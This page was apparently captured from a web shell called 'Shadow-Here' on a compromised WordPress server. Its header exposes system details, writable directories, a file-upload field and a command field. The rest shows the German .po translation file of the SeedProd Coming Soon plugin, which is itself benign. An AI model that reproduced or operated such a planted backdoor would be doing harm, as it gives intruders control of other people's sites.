Shadow-Here


Server : Apache
System : Linux methusalix2 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
User : hios ( 1437)
PHP Version : 5.6.40-0+deb8u12
Disable Function : proc_close,proc_open,dl,shell_exec,passthru
Directory :  /home/mbkollegger.1740471746/public_html/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : /home/mbkollegger.1740471746/public_html/wp-content/languages/plugins/coming-soon-de_DE.po
# Translation of Plugins - Coming Soon Page, Under Construction & Maintenance Mode by SeedProd - Stable (latest release) in German
# This file is distributed under the same license as the Plugins - Coming Soon Page, Under Construction & Maintenance Mode by SeedProd - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2020-06-11 22:10:44+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/3.0.0-alpha\n"
"Language: de\n"
"Project-Id-Version: Plugins - Coming Soon Page, Under Construction & Maintenance Mode by SeedProd - Stable (latest release)\n"

#. Plugin Name of the plugin
msgid "Coming Soon Page, Under Construction & Maintenance Mode by SeedProd"
msgstr "Coming Soon Page, Under Construction & Maintenance Mode by SeedProd"

#: framework/framework.php:258
msgid "Suggest a Feature »"
msgstr "Eine Funktion vorschlagen »"

#: framework/framework.php:257
msgid "Suggest a Feature"
msgstr "Eine Funktion vorschlagen"

#: lib/setup_tgmpa.php:47
msgid "Install RafflePress Now"
msgid_plural "Begin installing plugins"
msgstr[0] "RafflePress jetzt installieren"
msgstr[1] "Plugins jetzt installieren"

#: lib/setup_tgmpa.php:52
msgid "Activate RafflePress"
msgid_plural "Begin activating plugins"
msgstr[0] "RafflePress aktivieren"
msgstr[1] "Plugins jetzt aktivieren"

#: framework/framework.php:238 framework/framework.php:239
msgid "Giveaways"
msgstr "Werbegeschenke"

#: framework/skin.php:88
msgid "There was an error installing the addon. Please try again."
msgstr "Es gab einen Fehler beim Installieren des Add-ons. Bitte erneut versuchen."

#: inc/config-settings.php:118
msgid "Need Shortcode Support? <a href='"
msgstr "Brauchst du Hilfe mit Shortcodes? <a href='"

#: framework/review.php:75
msgid "--<br> John Turner<br><a href=\""
msgstr "--<br> John Turner<br><a href=\""

#: inc/config-settings.php:52
msgid ""
"\n"
"        <p>You're using SeedProd Lite - no license needed. Enjoy! <img draggable=\"false\" class=\"emoji\" alt=\"🙂\" src=\"https://s.w.org/images/core/emoji/11/svg/1f642.svg\"></p><p>To unlock more features consider <a href=\""
msgstr ""
"\n"
"        <p>Du nutzt SeedProd Lite und benötigst dafür keine Lizenz. Viel Spaß! <img draggable=\"false\" class=\"emoji\" alt=\"🙂\" src=\"https://s.w.org/images/core/emoji/11/svg/1f642.svg\"></p><p>Um weitere Funktionen zu aktivieren musst du <a href=\""

#. translators: 1: plugin name(s).
#: lib/TGMPA.php:372
msgid "The following recommended plugin is currently inactive: %1$s."
msgid_plural "The following recommended plugins are currently inactive: %1$s."
msgstr[0] "Das folgende empfohlene Plugin ist momentan inaktiv: %1$s."
msgstr[1] "Folgende empfohlene Plugins sind momentan inaktiv: %1$s."

#. translators: 1: plugin name(s).
#: lib/TGMPA.php:366
msgid "The following required plugin is currently inactive: %1$s."
msgid_plural "The following required plugins are currently inactive: %1$s."
msgstr[0] "Das folgende erforderliche Plugin ist momentan inaktiv: %1$s."
msgstr[1] "Folgende erforderliche Plugins sind momentan inaktiv: %1$s."

#. translators: 1: plugin name(s).
#: lib/TGMPA.php:360
msgid "There is an update available for: %1$s."
msgid_plural "There are updates available for the following plugins: %1$s."
msgstr[0] "Es gibt eine Aktualisierung für: %1$s."
msgstr[1] "Es gibt Aktualisierungen für folgende Plugins: %1$s."

#. translators: 1: plugin name(s).
#: lib/TGMPA.php:342
msgid "This theme requires the following plugin: %1$s."
msgid_plural "This theme requires the following plugins: %1$s."
msgstr[0] "Dieses Theme erfordert folgendes Plugin: %1$s."
msgstr[1] "Dieses Theme erfordert folgende Plugins: %1$s."

#. translators: 1: plugin name(s).
#: lib/TGMPA.php:348
msgid "This theme recommends the following plugin: %1$s."
msgid_plural "This theme recommends the following plugins: %1$s."
msgstr[0] "Dieses Theme empfiehlt folgendes Plugin: %1$s."
msgstr[1] "Dieses Theme empfiehlt folgende Plugins: %1$s."

#. translators: 1: plugin name(s).
#: lib/TGMPA.php:354
msgid "The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s."
msgid_plural "The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s."
msgstr[0] "Folgendes Plugin benötigt eine Aktualisierung auf die neueste Version, um maximale Kompatibilität mit diesem Theme zu gewährleisten: %1$s."
msgstr[1] "Folgende Plugins benötigen Aktualisierungen auf die neueste Version, um maximale Kompatibilität mit diesem Theme zu gewährleisten: %1$s."

#: lib/TGMPA.php:2655
msgid "Version"
msgstr "Version"

#: lib/TGMPA.php:2651
msgid "Type"
msgstr "Typ"

#: lib/TGMPA.php:2650
msgid "Source"
msgstr "Quelle"

#: lib/TGMPA.php:2649
msgid "Plugin"
msgstr "Plugin"

#: lib/TGMPA.php:2635
msgid "No plugins to install, update or activate."
msgstr "Keine Plugins zum Installieren, Aktualisieren oder Aktivieren."

#: lib/TGMPA.php:2612
msgid "Available version:"
msgstr "Verfügbare Version:"

#: lib/TGMPA.php:2600
msgid "Minimum required version:"
msgstr "Minimal erforderliche Version:"

#: lib/TGMPA.php:2592
msgid "Installed version:"
msgstr "Installierte Version:"

#: lib/TGMPA.php:2584
msgctxt "as in: \"version nr unknown\""
msgid "unknown"
msgstr "unbekannt"

#. translators: %2$s: plugin name in screen reader markup
#: lib/TGMPA.php:2716
msgid "Activate %2$s"
msgstr "%2$s aktivieren"

#. translators: %2$s: plugin name in screen reader markup
#: lib/TGMPA.php:2710
msgid "Update %2$s"
msgstr "%2$s aktualisieren"

#. translators: %2$s: plugin name in screen reader markup
#: lib/TGMPA.php:2705
msgid "Install %2$s"
msgstr "%2$s installieren"

#: lib/TGMPA.php:2828
msgid "Activate"
msgstr "Aktivieren"

#: lib/TGMPA.php:2825
msgid "Update"
msgstr "Aktualisieren"

#: lib/TGMPA.php:2819
msgid "Install"
msgstr "Installieren"

#: lib/TGMPA.php:2423
msgid "Active"
msgstr "Aktiv"

#: lib/TGMPA.php:2432
msgid "Requires Update"
msgstr "Aktualisierung erforderlich"

#: lib/TGMPA.php:2429
msgid "Required Update not Available"
msgstr "Erforderliche Aktualisierung nicht verfügbar"

#: lib/TGMPA.php:2435
msgid "Update recommended"
msgstr "Aktualisierung empfohlen"

#: lib/TGMPA.php:2417
msgid "Not Installed"
msgstr "Nicht installiert"

#: lib/TGMPA.php:2397
msgid "External Source"
msgstr "Externer Quelle"

#: lib/TGMPA.php:2378
msgid "Recommended"
msgstr "Empfohlen"

#: lib/TGMPA.php:2375
msgid "Required"
msgstr "Erforderlich"

#. translators: %s: version number
#: lib/TGMPA.php:2091
msgid "TGMPA v%s"
msgstr "TGMPA v%s"

#: lib/TGMPA.php:1222 lib/TGMPA.php:3050
msgctxt "plugin A *and* plugin B"
msgid "and"
msgstr "und"

#: inc/config-settings.php:51
msgid "License Key"
msgstr "Lizenzschlüssel"

#: inc/config-settings.php:45
msgid "License"
msgstr "Lizenz"

#. translators: 1: plugin name.
#: lib/TGMPA.php:3585 lib/TGMPA.php:3593
msgid "Show Details"
msgstr "Details anzeigen"

#. translators: 1: plugin name.
#: lib/TGMPA.php:3585 lib/TGMPA.php:3593
msgid "Hide Details"
msgstr "Details verbergen"

#. translators: 1: plugin name.
#: lib/TGMPA.php:3593
msgid "%1$s installed successfully."
msgstr "%1$s erfolgreich installiert."

#: lib/TGMPA.php:3594
msgid "All installations have been completed."
msgstr "Alle Installationen wurden abgeschlossen."

#. translators: 1: plugin name.
#: lib/TGMPA.php:3579
msgid "The installation of %1$s failed."
msgstr "Die Installation von %1$s ist fehlgeschlagen."

#: lib/TGMPA.php:3253
msgid "Plugin activation failed."
msgstr "Plugin-Aktivierung fehlgeschlagen."

#: lib/TGMPA.php:403
msgid "Dismiss this notice"
msgstr "Diesen Hinweis verwerfen"

#. translators: 1: plugin name.
#: lib/TGMPA.php:3585
msgid "%1$s installed and activated successfully."
msgstr "%1$s erfolgreich installiert und aktiviert."

#: lib/TGMPA.php:3586
msgid "All installations and activations have been completed."
msgstr "Alle Installationen und Aktivierungen wurden abgeschlossen."

#: lib/TGMPA.php:3591
msgid "The installation process is starting. This process may take a while on some hosts, so please be patient."
msgstr "Der Installationsvorgang startet. Dieser Vorgang kann bei manchen Hosts eine Weile dauern, hab also bitte etwas Geduld."

#. translators: 1: plugin name, 2: action number 3: total number of actions.
#: lib/TGMPA.php:3588
msgid "Installing and Activating Plugin %1$s (%2$d/%3$d)"
msgstr "Installieren und Aktivieren von Plugin %1$s (%2$d/%3$d)"

#. translators: 1: plugin name, 2: action number 3: total number of actions.
#: lib/TGMPA.php:3596
msgid "Installing Plugin %1$s (%2$d/%3$d)"
msgstr "Installieren von Plugin %1$s (%2$d/%3$d)"

#. translators: 1: plugin name, 2: action number 3: total number of actions.
#: lib/TGMPA.php:3574
msgid "Updating Plugin %1$s (%2$d/%3$d)"
msgstr "Aktualisiere Plugin %1$s (%2$d/%3$d)"

#. translators: 1: install status, 2: update status
#: lib/TGMPA.php:2444
msgctxt "Install/Update Status"
msgid "%1$s, %2$s"
msgstr "%1$s, %2$s"

#. translators: 1: number of plugins.
#: lib/TGMPA.php:2490
msgctxt "plugins"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] "<span class=\"count\">(%s)</span>"
msgstr[1] "Alle <span class=\"count\">(%s)</span>"

#: lib/TGMPA.php:609
msgid "Update Required"
msgstr "Aktualisierung erforderlich "

#: lib/TGMPA.php:3036
msgid "No plugins are available to be activated at this time."
msgstr "Momentan sind keine Plugins zur Aktivierung verfügbar."

#: lib/TGMPA.php:2904
msgid "No plugins are available to be updated at this time."
msgstr "Momentan sind keine Plugins zur Aktualisierung verfügbar."

#: lib/TGMPA.php:2902
msgid "No plugins are available to be installed at this time."
msgstr "Momentan sind keine Plugins zur Installation verfügbar."

#: lib/TGMPA.php:395 lib/TGMPA.php:3254
msgid "Plugin activated successfully."
msgstr "Plugin erfolgreich aktiviert."

#: lib/TGMPA.php:394 lib/TGMPA.php:928 lib/TGMPA.php:2635 lib/TGMPA.php:3656
msgid "Return to the Dashboard"
msgstr "Zurück zum Dashboard"

#: lib/TGMPA.php:2421
msgid "Installed But Not Activated"
msgstr "Installiert, aber nicht aktiviert"

#: lib/TGMPA.php:3010
msgid "No plugins were selected to be activated. No action taken."
msgstr "Es wurden keine Plugins zur Aktivierung ausgewählt. Keine Aktion ausgeführt."

#: lib/TGMPA.php:2861
msgid "No plugins were selected to be updated. No action taken."
msgstr "Es wurden keine Plugins zur Aktualisierung ausgewählt. Keine Aktion ausgeführt."

#: lib/TGMPA.php:2859
msgid "No plugins were selected to be installed. No action taken."
msgstr "Es wurden keine Plugins zur Installation ausgewählt. Keine Aktion ausgeführt."

#. translators: 1: plugin name.
#: lib/TGMPA.php:398
msgid "No action taken. Plugin %1$s was already active."
msgstr "Keine Aktion ausgeführt. Plugin %1$s war bereits aktiv."

#: lib/TGMPA.php:396 lib/TGMPA.php:3054
msgid "The following plugin was activated successfully:"
msgid_plural "The following plugins were activated successfully:"
msgstr[0] "Folgendes Plugin wurde erfolgreich aktiviert:"
msgstr[1] ""

#: lib/TGMPA.php:336
msgid "Install Plugins"
msgstr "Plugins installieren"

#. translators: %s: plugin name.
#: lib/TGMPA.php:340
msgid "Updating Plugin: %s"
msgstr "Plugin aktualisieren: %s"

#. translators: %s: plugin name.
#: lib/TGMPA.php:338
msgid "Installing Plugin: %s"
msgstr "Plugin installieren: %s"

#: lib/TGMPA.php:335
msgid "Install Required Plugins"
msgstr "Erforderliche Plugins installieren"

#: lib/TGMPA.php:388
msgid "Begin activating plugin"
msgid_plural "Begin activating plugins"
msgstr[0] "Plugin aktivieren begonnen"
msgstr[1] "Plugins aktivieren begonnen"

#: lib/TGMPA.php:383
msgid "Begin updating plugin"
msgid_plural "Begin updating plugins"
msgstr[0] "Plugin aktualisieren begonnen"
msgstr[1] "Plugins aktualisieren begonnen"

#: lib/TGMPA.php:378
msgid "Begin installing plugin"
msgid_plural "Begin installing plugins"
msgstr[0] "Plugin installieren begonnen"
msgstr[1] "Plugins installieren begonnen"

#: lib/TGMPA.php:341
msgid "Something went wrong with the plugin API."
msgstr "Etwas ging schief mit der Plugin-API."

#. translators: 1: plugin name, 2: error message.
#: lib/TGMPA.php:3577
msgid "An error occurred while installing %1$s: <strong>%2$s</strong>."
msgstr "Bei der Installation von %1$s trat ein Fehler auf: <strong>%2$s</strong>."

#: lib/TGMPA.php:405
msgid "Please contact the administrator of this site for help."
msgstr "Bitte kontaktiere die Administration der Website für Hilfe."

#. translators: 1: dashboard link.
#: lib/TGMPA.php:402
msgid "All plugins installed and activated successfully. %1$s"
msgstr "Alle Plugins erfolgreich installiert und aktiviert. %1$s"

#: lib/TGMPA.php:404
msgid "There are one or more required or recommended plugins to install, update or activate."
msgstr "Es gibt mindestens ein erforderliches oder empfohlenes Plugin zum Installieren, Aktualisieren oder Aktivieren."

#: lib/TGMPA.php:608
msgid "This plugin needs to be updated to be compatible with your theme."
msgstr "Dieses Plugin muss aktualisiert werden, um mit deinem Theme kompatibel zu sein."

#: lib/TGMPA.php:3583
msgid "The installation and activation process is starting. This process may take a while on some hosts, so please be patient."
msgstr "Der Installations- und Aktivierungsvorgang startet. Dieser Vorgang kann bei manchen Hosts eine Weile dauern, hab also bitte etwas Geduld."

#. translators: 1: number of plugins.
#: lib/TGMPA.php:2498
msgid "Update Available <span class=\"count\">(%s)</span>"
msgid_plural "Update Available <span class=\"count\">(%s)</span>"
msgstr[0] "Aktualisierung verfügbar <span class=\"count\">(%s)</span>"
msgstr[1] "Aktualisierungen verfügbar <span class=\"count\">(%s)</span>"

#. translators: 1: number of plugins.
#: lib/TGMPA.php:2502
msgid "To Activate <span class=\"count\">(%s)</span>"
msgid_plural "To Activate <span class=\"count\">(%s)</span>"
msgstr[0] "Zu Aktivieren <span class=\"count\">(%s)</span>"
msgstr[1] "Zu Aktivieren <span class=\"count\">(%s)</span>"

#: lib/TGMPA.php:393
msgid "Return to Required Plugins Installer"
msgstr "Zurück zur Installation erforderlicher Plugins"

#. translators: 1: plugin name.
#: lib/TGMPA.php:400
msgid "Plugin not activated. A higher version of %s is needed for this theme. Please update the plugin."
msgstr "Plugin nicht aktiviert. Eine höhere Version von %s wird für dieses Theme benötigt. Bitte aktualisiere das Plugin."

#: lib/TGMPA.php:726
msgid "Set the parent_slug config variable instead."
msgstr "Setze stattdessen die Variable parent_slug config ein."

#: inc/config-settings.php:186
msgid "Pro Themes"
msgstr "Pro Themes"

#: inc/config-settings.php:192
msgid "Available Pro Themes"
msgstr "Verfügbare Pro Themes"

#: lib/TGMPA.php:2786
msgid "Upgrade message from the plugin author:"
msgstr "Upgrade-Hinweis des Plugin-Autors:"

#. translators: 1: number of plugins.
#: lib/TGMPA.php:2494
msgid "To Install <span class=\"count\">(%s)</span>"
msgid_plural "To Install <span class=\"count\">(%s)</span>"
msgstr[0] "Zu installieren <span class=\"count\">(%s)</span>"
msgstr[1] "Zu installieren <span class=\"count\">(%s)</span>"

#: lib/TGMPA.php:2394
msgid "WordPress Repository"
msgstr "WordPress-Repository"

#: framework/framework.php:198 framework/framework.php:199
msgid "Settings"
msgstr "Einstellungen"

#: framework/framework.php:207 framework/framework.php:208
msgid "Themes"
msgstr "Themes"

#: framework/framework.php:248
msgid "Addons"
msgstr "Add-ons"

#: framework/framework.php:227 framework/framework.php:228
#: inc/config-settings.php:410
msgid "Subscribers"
msgstr "Abonnenten"

#: framework/framework.php:249
msgid "<span style='color:#ff9a4b'>Addons</span>"
msgstr "<span style='color:#ff9a4b'>Add-ons</span>"

#: framework/framework.php:216 framework/framework.php:217
msgid "Free Stock Images"
msgstr "Kostenfreie Stock-Fotos"

#: framework/review.php:78
msgid "Dismiss Notice"
msgstr "Hinweis verwerfen"

#: framework/framework.php:569
msgid "Got a Support Question"
msgstr "Ich habe eine Support-Frage"

#: inc/config-settings.php:249
msgid "Cover"
msgstr "Abdecken"

#: inc/config-settings.php:250
msgid "Contain"
msgstr "Beinhalten"

#: inc/config-settings.php:247
msgid "Responsive Size"
msgstr "Responsive Größe"

#: inc/config-settings.php:246
msgid "Cover (most users will use this setting), this setting will crop parts of the background that do not fit, Contain, this will force the background image to stay contained within the browser and parts that don't fit will show the background color."
msgstr "Abdecken (die meisten Benutzer werden diese Einstellung wählen), diese Einstellung wird Teile des Hintergrunds abschneiden, die nicht ins Bild passen. Beinhalten, dies wird den Hintergrund in das Anzeigefenster des Browsers zwingen und Teile, die nicht passen, werden durch die Hintergrundfarbe eingefärbt."

#: framework/review.php:79
msgid "I already did"
msgstr "Habe ich bereits"

#: framework/review.php:77
msgid "Ok, you deserve it"
msgstr "Ok, du hast es verdient"

#: framework/framework.php:531
msgid "Yo-Yo-Yo, Why Go Pro?"
msgstr "Yo, yo, yo! Warum Pro?"

#: framework/review.php:18
msgid "Please rate <strong>SeedProd</strong> <a href=\"%s\" target=\"_blank\">&#9733;&#9733;&#9733;&#9733;&#9733;</a> on <a href=\"%s\" target=\"_blank\">WordPress.org</a> to help us spread the word. Thank you from the SeedProd team!"
msgstr "Bitte bewerte <strong>SeedProd</strong> <a href=\"%s\" target=\"_blank\">&#9733;&#9733;&#9733;&#9733;&#9733;</a> auf <a href=\"%s\" target=\"_blank\">WordPress.org</a>, damit mehr Menschen auf uns aufmerksam werden. Vielen Dank vom SeedProd Team!"

#: framework/framework.php:605
msgid "Rate It on WordPress.org"
msgstr "Auf WordPress.org bewerten"

#: inc/class-seed-csp4.php:250
msgid "Only authenticated users can access the REST API."
msgstr "Nur authentisierte Benutzer haben Zugriff auf die REST API."

#: framework/framework.php:376
msgid "Upgrade to Pro for More Features"
msgstr "Upgrade auf Pro-Version für mehr Funktionen"

#: inc/config-settings.php:479
msgid "Append HTML"
msgstr "HTML anfügen"

#: inc/config-settings.php:480
msgid "This will append html to the bottom of the template using the current styles."
msgstr "Dies wird HTML am Ende des Templates anfügen, unter Benutzung der aktuellen Stile."

#: inc/config-settings.php:472
msgid "This will replace the plugin's entire template with your custom html. Make sure to include the html, head and body tags when replacing the html."
msgstr "Dies wird das gesamte Template des Plugins durch dein eigenes HTML ersetzen. Stelle sicher, das HTML, head und body tags zu beinhalten, wenn du HTML ersetzt."

#: inc/config-settings.php:471
msgid "Custom HTML"
msgstr "Eigener HTML-Code"

#: framework/framework.php:506
msgid "Getting Started Video - 60 sec"
msgstr "Einführungsvideo - 60 Sek"

#: inc/config-settings.php:257
msgid "Dim Background"
msgstr "Hintergrund abdunkeln"

#: inc/config-settings.php:258
msgid "This will add an overlay over your image dimming it."
msgstr "Die wird ein Overlay über dein Bild legen, wodurch es abgedunkelt wird."

#: inc/config-settings.php:73
msgid "When you are logged in you'll see your normal website. Logged out visitors will see the Coming Soon or Maintenance page. Coming Soon Mode will be available to search engines if your site is not private. Maintenance Mode will notify search engines that the site is unavailable. <a href='https://www.seedprod.com/coming-soon-vs-maintenance-mode/?utm_source=coming-soon-plugin&utm_medium=link&utm_campaign=cc-vs-mm' target='_blank'>Learn the difference between Coming Soon and Maintenance Mode</a>"
msgstr "Wenn du angemeldet bist, siehst du deine normale Website. Nicht angemeldete Besucher werden deine Coming-Soon- oder Wartungsmodus-Seite sehen. Der Coming-Soon-Modus wird für Suchmaschinen verfügbar sein, falls deine Website nicht privat ist. Der Wartungsmodus wird Suchmaschinen informieren, dass die Website nicht verfügbar ist <a href='https://www.seedprod.com/coming-soon-vs-maintenance-mode/?utm_source=coming-soon-plugin&utm_medium=link&utm_campaign=cc-vs-mm' target='_blank'>Erfahre mehr über den Unterschied zwischen Coming-Soon- und Wartungsmodus</a>"

#: inc/config-settings.php:288
msgid "Right Top"
msgstr "Rechts oben"

#: inc/config-settings.php:286
msgid "Left Center"
msgstr "Links zentriert"

#: inc/config-settings.php:289
msgid "Right Center"
msgstr "Rechts zentriert"

#: framework/framework.php:446 framework/framework.php:493
msgid "Reset Settings"
msgstr "Einstellungen zurücksetzen"

#: inc/config-settings.php:447
msgid "Disable"
msgstr "Deaktivieren"

#: inc/config-settings.php:400
msgid "Custom CSS"
msgstr "Benutzerdefiniertes CSS"

#: inc/config-settings.php:61
msgid "General"
msgstr "Allgemein"

#: inc/config-settings.php:86 inc/config-settings.php:238
#: inc/config-settings.php:260 inc/config-settings.php:328
msgid "Yes"
msgstr "Ja"

#: framework/validations/email.php:10 framework/validations/escurlraw.php:11
msgid "Please enter a valid email."
msgstr "Bitte gib eine gültige E-Mail-Adresse ein."

#: inc/config-settings.php:148
msgid "SEO Title"
msgstr "SEO Titel"

#: inc/config-settings.php:69
msgid "Disabled"
msgstr "Deaktiviert"

#: inc/config-settings.php:117
msgid "Message"
msgstr "Nachricht"

#: inc/config-settings.php:33 inc/config-settings.php:312
msgid "Content"
msgstr "Inhalt"

#: inc/config-settings.php:102
msgid "Logo"
msgstr "Logo"

#: lib/TGMPA.php:2656 inc/config-settings.php:67
msgid "Status"
msgstr "Status"

#: inc/config-settings.php:338
msgid "Text"
msgstr "Text"

#: framework/framework.php:443 framework/framework.php:492
#: framework/framework.php:867
msgid "Save All Changes"
msgstr "Alle Änderungen speichern"

#: framework/framework.php:571
msgid "Common Caching Issues Resolutions"
msgstr "Häufige Caching-Problem-Lösungen"

#: framework/framework.php:598
msgid "Show Some Love"
msgstr "Geb mir etwas Anerkennung"

#: framework/framework.php:601
msgid "Like this plugin? Show your support by:"
msgstr "Gefällt dir dieses Plugin? Zeige deine Unterstützung auf:"

#: framework/framework.php:603
msgid "Buy It"
msgstr "Kauf es"

#: framework/framework.php:606
msgid "Tweet It"
msgstr "Tweete es"

#: framework/framework.php:616
msgid "SeedProd Blog"
msgstr "SeedProd Blog"

#: framework/validations/required.php:10
msgid "is required."
msgstr "Wird benötigt."

#: framework/validations/number.php:11
msgid "Please enter a valid number."
msgstr "Bitte gebe eine gültige Nummer ein."

#: inc/class-seed-csp4.php:87
msgid "Maintenance Mode Active"
msgstr "Wartungsmodus aktiv"

#: inc/class-seed-csp4.php:149
msgid "Please enter your settings."
msgstr "Bitte mache deine Einstellungen."

#: inc/config-settings.php:71
msgid "Enable Maintenance Mode"
msgstr "Aktiviere Wartungsmodus"

#: inc/config-settings.php:83
msgid "Use maintenance.php"
msgstr "Nutze maintenance.php"

#: inc/config-settings.php:96
msgid "Page Settings"
msgstr "Seiteneinstellungen"

#: inc/config-settings.php:110
msgid "Headline"
msgstr "Überschrift"

#: inc/config-settings.php:111
msgid "Enter a headline for your page."
msgstr "Gebe eine Überschrift für deine Seite ein."

#: inc/config-settings.php:124
msgid "Powered By SeedProd"
msgstr "Bereitgestellt von SeedProd"

#: inc/config-settings.php:141
msgid "Favicon"
msgstr "Favicon"

#: inc/config-settings.php:135
msgid "Header"
msgstr "Header"

#. Author of the plugin
#: framework/framework.php:187 framework/framework.php:188
#: inc/config-settings.php:22
msgid "SeedProd"
msgstr "SeedProd"

#: inc/config-settings.php:352
msgid "Link Color"
msgstr "Linkfarbe"

#: inc/config-settings.php:360
msgid "Headline Color"
msgstr "Überschrift Farbe"

#: inc/config-settings.php:371
msgid "Text Font"
msgstr "Text Schriftart"

#: inc/config-settings.php:392
msgid "Template"
msgstr "Vorlage"

#: inc/config-settings.php:425
msgid "Advanced"
msgstr "Erweitert"

#: inc/config-settings.php:438
msgid "Scripts"
msgstr "Scripts"

#. Plugin URI of the plugin
#. Author URI of the plugin
msgid "http://www.seedprod.com"
msgstr "http://www.seedprod.com"

#: inc/config-settings.php:174
msgid "Design"
msgstr "Design"

#: inc/config-settings.php:201
msgid "Background"
msgstr "Hintergrund"

#: inc/config-settings.php:208
msgid "Background Color"
msgstr "Hintergrund Farbe"

#: inc/config-settings.php:229
msgid "Background Image"
msgstr "Hintergrundsbild"

#: inc/config-settings.php:235
msgid "Responsive Background"
msgstr "Responsiver Hintergrund"

#: inc/config-settings.php:269
msgid "Background Repeat"
msgstr "Hintergrund wiederholen"

#: inc/config-settings.php:271
msgid "No-Repeat"
msgstr "Nicht wiederholen"

#: inc/config-settings.php:272
msgid "Tile"
msgstr "Kachel"

#: inc/config-settings.php:273
msgid "Tile Horizontally"
msgstr "Untereinander"

#: inc/config-settings.php:274
msgid "Tile Vertically"
msgstr "Nebeneinander"

#: inc/config-settings.php:283
msgid "Background Position"
msgstr "Hintergrund Position"

#: inc/config-settings.php:344
msgid "Text Color"
msgstr "Textfarbe"

#: inc/config-settings.php:285
msgid "Left Top"
msgstr "Links oben"

#: inc/config-settings.php:287
msgid "Left Bottom"
msgstr "Links unten"

#: inc/config-settings.php:290
msgid "Right Bottom"
msgstr "Rechts unten"

#: inc/config-settings.php:291
msgid "Center Top"
msgstr "Zentriert oben"

#: inc/config-settings.php:293
msgid "Center Bottom"
msgstr "Zentriert unten"

#: inc/config-settings.php:292
msgid "Center Center"
msgstr "Zentriert mittig"

#: inc/config-settings.php:303
msgid "Fixed"
msgstr "Fixiert"

#: inc/config-settings.php:304
msgid "Scroll"
msgstr "Scrollen"

#: inc/config-settings.php:319
msgid "Max Width"
msgstr "Maximal Breite"

#: inc/config-settings.php:301
msgid "Background Attachment"
msgstr "Hintergrund Anhang"

#: inc/config-settings.php:163
msgid "Analytics Code"
msgstr "Analytics Code"

#: inc/config-settings.php:154
msgid "SEO Meta Description"
msgstr "SEO Meta Beschreibung"

#: framework/validations/color.php:13
msgid "Please enter a valid color value."
msgstr "Bitte gebe einen gültigen Farbwert ein."

#: inc/config-settings.php:84
msgid "maintenance.php detected, would you like to use this for your maintenance page?"
msgstr "maintenance.php erkannt, möchtest du diese für deinen Wartungsseite verwenden?"

#: inc/config-settings.php:401
msgid "Need to tweaks the styles? Add your custom CSS here."
msgstr "Du möchtest den Stil anpassen? Füge dein eigenes CSS hier ein."

#: inc/config-settings.php:125
msgid "Yep - I Love You Man"
msgstr "Ja - wir lieben dich!"

#: inc/config-settings.php:125
msgid "Nope - Got No Love"
msgstr "Nein - keine Liebe"

#: inc/config-settings.php:70
msgid "Enable Coming Soon Mode"
msgstr "Coming-Soon-Modus aktivieren"

#: inc/class-seed-csp4.php:85
msgid "Coming Soon Mode Active"
msgstr "Coming-Soon-Modus aktiv"

#. Description of the plugin
msgid "The #1 Coming Soon Page, Under Construction & Maintenance Mode plugin for WordPress."
msgstr "Das #1 Coming-Soon-Seite-, Unter-Konstruktion- und Wartungsmodus-Plugin für WordPress."

#: inc/config-settings.php:103
msgid "Upload a logo or teaser image (or) enter the url to your image."
msgstr "Lade ein Logo oder Teaserbild hoch (oder) gib die URL deines Bildes an."

#: inc/config-settings.php:445
msgid "By default we exclude urls with the terms: login, admin, dashboard and account to prevent lockouts. Check to disable."
msgstr "Standardmäßig schließen wir URLs mit folgenden Begriffen aus, um ein ungewolltes Aussperren zu verhinden: login, admin, dashboard und account. Hier klicken zur Deaktivierung."

#: inc/config-settings.php:363
msgid "If no Headline Color is chosen then the Link Color will be used. "
msgstr "Wenn keine Überschriftfarbe ausgewählt wurde, wird die Linkfarbe genutzt."

#: inc/config-settings.php:444
msgid "Disable Default Excluded URLs"
msgstr "Standardmäßig ausgeschlossene URLs deaktivieren"

#: inc/config-settings.php:463
msgid "Footer Scripts"
msgstr "Footer.Skripte"

#: inc/config-settings.php:455
msgid "Header Scripts"
msgstr "Header-Skripte"

#: inc/config-settings.php:326
msgid "This will wrap your content in a box."
msgstr "Dies wird deinen Inhalt in einer Box umschließen."

#: inc/config-settings.php:464
msgid "Enter any custom scripts. This will be rendered before the closing body tag."
msgstr "Gib deine eigenen Skripte ein. Diese werden vor dem schließenden body tag ausgeführt."

#: inc/config-settings.php:126
msgid "Can we show a <strong>cool stylish</strong> footer credit at the bottom the page."
msgstr "Können wir einen <strong>schicken</strong> Footer-Credit am Boden der Seite einblenden?"

#: inc/config-settings.php:268 inc/config-settings.php:282
#: inc/config-settings.php:300
msgid "This setting is not applied if Responsive Background is checked"
msgstr "Diese Einstellung wird nicht berücksichtigt, falls der Responsive Hintergrund ausgewählt ist"

#: framework/framework.php:659
msgid "This tabs settings be deleted and reset to the defaults. Are you sure you want to reset?"
msgstr "Die Einstellungen dieser Tabs werden gelöscht und auf die Standardwerte zurückgesetzt. Bist du sicher, dass du dies willst?"

#: inc/config-settings.php:164
msgid "Paste in your Universal or Classic <a href=\"http://www.google.com/analytics/\" target=\"_blank\">Google Analytics</a> code."
msgstr "Kopiere deinen Universal- oder Classic- <a href=\"http://www.google.com/analytics/\" target=\"_blank\">Google Analytics</a>-Code hierher."

#: inc/config-settings.php:211
msgid "Choose between having a solid color background or uploading an image. By default images will cover the entire background."
msgstr "Wähle zwischen einem einfarbigen Hintergrund oder lade ein Bild hoch. Standardmäßig werden Bilder den gesamten Hintergrund ausfüllen."

#: inc/config-settings.php:320
msgid "By default the max width of the content is set to 600px. Enter a number value if you need it bigger. Example: 900"
msgstr "Standardmäßig ist die maximale Breite des Inhalts auf 600px festgelegt. Gib einen Zahlenwert ein, wenn du es größer brauchst. Beispiel: 900"

#: inc/config-settings.php:456
msgid "Enter any custom scripts. You can enter Javascript or CSS. This will be rendered before the closing head tag."
msgstr "Gib ein eigenes Skript ein. Du kannst JavaScript oder CSS eingeben. Dies wird vor dem schließenden head tag ausgeführt."

#: inc/config-settings.php:142
